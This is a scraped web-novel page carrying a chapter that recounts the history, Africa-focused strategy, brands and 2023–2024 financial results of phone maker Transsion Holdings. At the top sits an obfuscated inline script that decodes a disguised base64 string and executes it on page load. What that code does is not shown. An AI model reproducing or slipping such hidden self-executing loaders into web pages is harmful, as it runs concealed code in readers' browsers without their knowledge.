趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第46章 传音控股688036的前世今生(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

非洲手机之王的诞生

在国内,传音的知名度或许远不及华为、小米、OPPO 和 vivo 这些品牌,可在遥远的非洲大陆,它却缔造了 “非洲手机之王” 的传奇。

当 2023 年全球消费电子产业深陷寒冬之时,这家来自深圳的厂商却凭借非洲市场逆势上扬。调研机构 “国际数据公司”(IDC)于 2024 年 1 月发布的《全球手机季度跟踪报告》显示,2023 年全球智能手机出货量同比下降 3.2%,降至 11.7 亿部,创下十年来的最低年度出货量。而传音在 2023 年的全球手机销量却达到 9490 万台,同比大幅增长 30.8%,以 8.1% 的市占率跻身全球智能手机市场前五名 ,这一成绩的取得,主要归功于非洲市场。相比之下,苹果 2023 年销量仅同比增长 3.7%,而三星、小米、VIVO、OPPO 的销量更是同比下滑。传音公司在 2023 年年末发布的年度业绩预告显示,预计 2023 年度实现营业收入超 621 亿元,同比增长 33%,归属于母公司所有者的净利润约 54 亿元,同比大增 121%。根据市场研究机构 Canalys 的数据,传音近两年在非洲一直保持着相对稳定的市场份额,占有率始终维持在 40% 以上。如此惊人的成绩,不禁让人好奇,传音究竟是如何在非洲市场取得如此辉煌成就的呢?它的发展历程又有着怎样的故事?

前世:创业与非洲启航(2006 - 2013 年)

创业背景与团队渊源

传音的故事始于 2006 年,创始人竺兆江,一位浙江宁波人,毕业于南昌航空大学。他在 1996 年大学毕业后便进入波导公司,从一名普通的推销员做起,凭借着卓越的交际能力和对市场的敏锐洞察,一路晋升,到 2003 年已成为波导销售公司常务副总经理 ,负责波导手机的海外市场拓展。在波导期间,竺兆江积累了丰富的手机行业经验和海外市场运营经验,但他也逐渐意识到波导在产品创新和多元化发展上的滞后。当时的波导虽然在国内市场取得了一定成绩,但在全球市场快速变化的浪潮下,其发展模式逐渐显露出局限性。

2006 年,怀揣着对手机行业的新思考和创业梦想,竺兆江毅然离开波导,在香港创立了传音科技,这便是传音控股的前身。创业初期,团队成员大多是竺兆江在波导时期结识的志同道合的伙伴,他们有着共同的目标和对手机市场的独特见解,为传音日后在非洲市场的开拓奠定了坚实的人才基础。

品牌初创与非洲战略确定

传音成立初期,推出了 TECNO 品牌手机,旨在为新兴市场提供高性价比的移动通讯产品。然而,在全球手机市场竞争激烈的大环境下,传音需要找到一个独特的市场定位来立足。2008 年,经过深入的市场调研和分析,传音做出了一个具有决定性意义的战略决策 —— 聚焦非洲市场。

当时的非洲,虽然人口众多,但手机普及率极低,根据水清木华研究中心的《2006 - 2007 年非洲电信市场研究报告》,彼时非洲的手机普及率仅为 9.4% 左右,市场潜力巨大。而且,非洲当地的手机市场主要被国际大品牌如诺基亚、三星等占据,但这些品牌的产品大多是基于全球通用标准设计,未能充分考虑非洲消费者的特殊需求和消费能力。传音敏锐地捕捉到了这一市场空白,决定将非洲作为核心市场,针对当地消费者的特点和需求,开发具有针对性的产品。

早期产品策略与市场突破

为了在非洲市场取得突破,传音在产品策略上采取了一系列创新举措。针对非洲当地运营商众多且网络不兼容、跨运营商通话费用高昂的问题,传音推出了双卡双待甚至四卡四待的手机,满足了当地用户使用多张手机卡的需求,大大降低了通信成本。比如,传音的 TECNO 品牌早期推出的一些功能机,以其多卡功能和稳定的信号,迅速在非洲市场获得了关注。

考虑到非洲部分地区电力供应不稳定,经常出现停电现象,传音研发了具有超长待机功能的手机,以及低成本的高压快充技术,解决了用户的充电焦虑。在音乐功能方面,传音针对非洲消费者热爱音乐、喜欢载歌载舞的娱乐方式,研制了适合非洲音乐的低音设计和大喇叭设计,还随机赠送头戴式大耳机,推出音乐手机,深受当地消费者喜爱。

此外,传音在价格上也极具竞争力,其功能机均价在 60 元上下波动,智能机均价不到 500 元,让非洲消费者能够轻松拥有。这些贴近非洲市场需求的产品策略,使得传音在非洲市场迅速打开局面,销量逐年攀升,逐渐在非洲手机市场站稳脚跟,为后续的发展奠定了坚实基础。

这章没有结束,请点击下一页继续阅读!今生:崛起与全球拓展(2013 年至今)

业务扩张与品牌升级

随着在非洲市场的根基日益稳固,传音在 2013 年之后开启了业务的快速扩张与品牌升级之路。在非洲,传音进一步丰富产品系列,不仅巩固了功能机市场的优势,还加大了智能手机的推广力度。旗下的 TECNO、itel 和 Infinix 三大品牌,针对不同消费群体推出差异化产品。TECNO 定位中高端,注重创新与品质,如推出的 TECNO Phantom 系列,以其出色的拍照能力和时尚外观,吸引了非洲中高收入阶层消费者;itel 主打高性价比,面向追求实用的大众消费者,以亲民的价格和稳定的性能,在非洲中低端市场占据重要份额;Infinix 则强调潮流与科技,通过与热门 IP 合作、推出电竞手机等方式,满足年轻消费者对时尚和游戏体验的追求。

在品牌建设方面,传音积极开展本地化营销活动。与非洲当地的明星、艺术家合作,举办各类音乐、时尚活动,将品牌融入当地文化生活。例如,传音赞助非洲当地的音乐节,邀请知名歌手演出,同时在活动现场展示和推广其手机产品,这种深度本地化的营销方式,极大地提升了品牌在非洲消费者心中的知名度和美誉度。

除了非洲,传音开始向全球其他新兴市场进军。在南亚,传音凭借对当地市场的深入研究,推出适合当地消费者需求的手机。在印度,传音针对当地消费者对长续航和大存储的需求,推出了相应的手机型号,迅速打开市场;在东南亚,传音与当地运营商合作,通过定制机的方式,提高产品的市场覆盖率;在中东和拉美地区,传音也积极拓展渠道,与当地经销商建立合作关系,逐步提升品牌影响力。

多元化发展与生态构建

传音并不满足于手机业务的成功,开始多元化布局。创立了数码配件品牌 oraimo,推出了 TWS 蓝牙耳机、智能手表等产品,借助手机业务积累的渠道和品牌优势,oraimo 在非洲市场迅速成为配件领域的知名品牌;还创办了家用电器品牌 Syinix,提供智能电视机、空调等产品,满足非洲市场对家电产品日益增长的需求。

在移动互联网领域,传音自主研发了 HiOS、itelOS 和 XOS 等智能终端操作系统及独立的应用软件平台。围绕这些操作系统,传音开发和孵化了多款应用,如音乐流媒体平台 Boomplay,拥有海量的非洲本地音乐曲库,深受当地用户喜爱,注册用户过亿;新闻资讯平台 Scooper,为用户提供个性化的新闻内容;短视频平台 Phoenix,满足非洲用户对娱乐和社交的需求。这些应用不仅丰富了用户的移动互联网体验,也为传音构建了一个完整的移动互联网生态,实现了从硬件制造商向移动互联网服务提供商的转型。

技术创新与研发投入

传音深知技术创新是企业持续发展的核心动力,因此不断加大研发投入。在影像技术方面,针对非洲消费者深肤色拍照的难题,传音研发了 Universal Tone 多肤色影像技术,通过对肤色识别和优化算法的创新,能够精准还原深肤色人群的面部细节和肤色,让照片更加自然美观。这一技术的突破,使得传音手机在非洲拍照手机市场占据领先地位。

在硬件新材料领域,传音积极探索创新,推出了折叠、卷曲等新形态手机,如 TECNO Phantom V Fold 折叠屏手机,凭借其大屏体验、多任务处理能力和出色的影像系统,受到市场的高度关注。在人工智能领域,传音也有所布局,开发了 AI 语音助手、AI 影像增强等功能,提升了用户的交互体验和手机的智能化水平。

2024 年上半年,传音研发投入高达 11.83 亿元,同比增长 10.32% ,持续的研发投入使得传音在技术创新上成果显着,新获得 129 个发明专利,发明专利总数达到 1124 个,拥有 183 件 PCT 申请 ,这些技术创新成果进一步提升了传音产品的竞争力,为其在全球市场的持续扩张奠定了坚实基础。

现状剖析:市场表现与财务分析

市场份额与行业地位

在全球手机市场的激烈竞争中,传音已然占据了重要的一席之地。根据 IDC 数据,2024 年传音全球手机出货量达到 1.069 亿台,市场份额为 8.6%,排名第四 。这一成绩的取得,充分彰显了传音在全球手机行业的强劲竞争力。

在非洲市场,传音更是当之无愧的王者,智能机市场占有率超过 40%,连续多年稳居第一。这一超高的市场占有率,不仅源于传音多年来对非洲市场的深耕细作,更得益于其对非洲消费者需求的精准把握。传音针对非洲消费者的特殊需求,在产品设计、功能研发等方面进行了大量的本地化创新,如前文提到的深肤色拍照技术、多卡双待功能、超长待机等,这些贴心的设计让传音手机在非洲市场赢得了消费者的广泛认可和喜爱。

本小章还未完,请点击下一页继续阅读后面精彩内容!除了非洲,传音在其他新兴市场也取得了显着的成绩。在南亚,传音在巴基斯坦和孟加拉国的智能机市场占有率均排名第一。在巴基斯坦,传音凭借其高性价比的产品和完善的售后服务体系,迅速打开市场,赢得了当地消费者的信赖;在孟加拉国,传音积极与当地运营商合作,推出定制化的手机产品,满足了不同消费者的需求。在东南亚,传音的市场份额也在逐步提升,以 16% 的市场份额位列东南亚智能手机出货量第三,增速位居榜首 。传音通过深入了解东南亚市场的文化特点和消费者需求,推出了一系列符合当地消费者喜好的手机产品,并积极开展本地化营销活动,与当地明星、网红合作,举办各类促销活动,提升了品牌知名度和市场影响力。

财务状况与业绩趋势

从财务数据来看,传音近年来的表现十分亮眼。2023 年,传音实现营业收入 622.95 亿元,同比增长 33.69%;归母净利润 55.37 亿元,同比增长 122.93% ,实现了营收和利润的双丰收。这一出色的业绩增长,主要得益于传音在市场拓展、产品创新和成本控制等方面的有效举措。在市场拓展方面,传音持续加大对新兴市场的投入,不断开拓新的销售渠道,提升品牌知名度和市场份额;在产品创新方面,传音加大研发投入,推出了一系列具有竞争力的新产品,满足了不同消费者的需求;在成本控制方面,传音通过优化供应链管理、提高生产效率等措施,有效降低了成本,提升了盈利能力。

2024 年上半年,传音延续了良好的发展态势,实现营业收入 345.58 亿元,同比增长 38.07%;归母净利润为 28.52 亿元,同比增长 35.70% 。然而,从单季度数据来看,传音第二季度业绩不及第一季度,营业收入 171.15 亿元,环比下滑 1.88%;归母净利润 12.26 亿元,环比下滑 24.65% 。这一业绩波动主要受到市场竞争加剧、存储成本上涨等因素的影响。随着全球手机市场竞争的日益激烈,各大手机厂商纷纷加大市场投入,推出新产品,传音面临的市场竞争压力不断增大;存储成本的上涨也导致传音的生产成本上升,对其利润空间造成了一定的挤压。

对于第四季度的业绩展望,传音表示将继续加大市场拓展力度,推出更多新产品,提升产品竞争力。同时,传音也将加强成本控制,优化供应链管理,降低生产成本,以应对市场竞争和成本上涨的挑战。从长远来看,传音有望通过持续的技术创新和市场拓展,实现业绩的稳定增长。随着全球新兴市场的不断发展和智能手机普及率的提升,传音将迎来更多的市场机遇;传音在技术研发方面的不断投入,也将为其产品创新和市场拓展提供有力支持。

投资者关注与市场评价

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间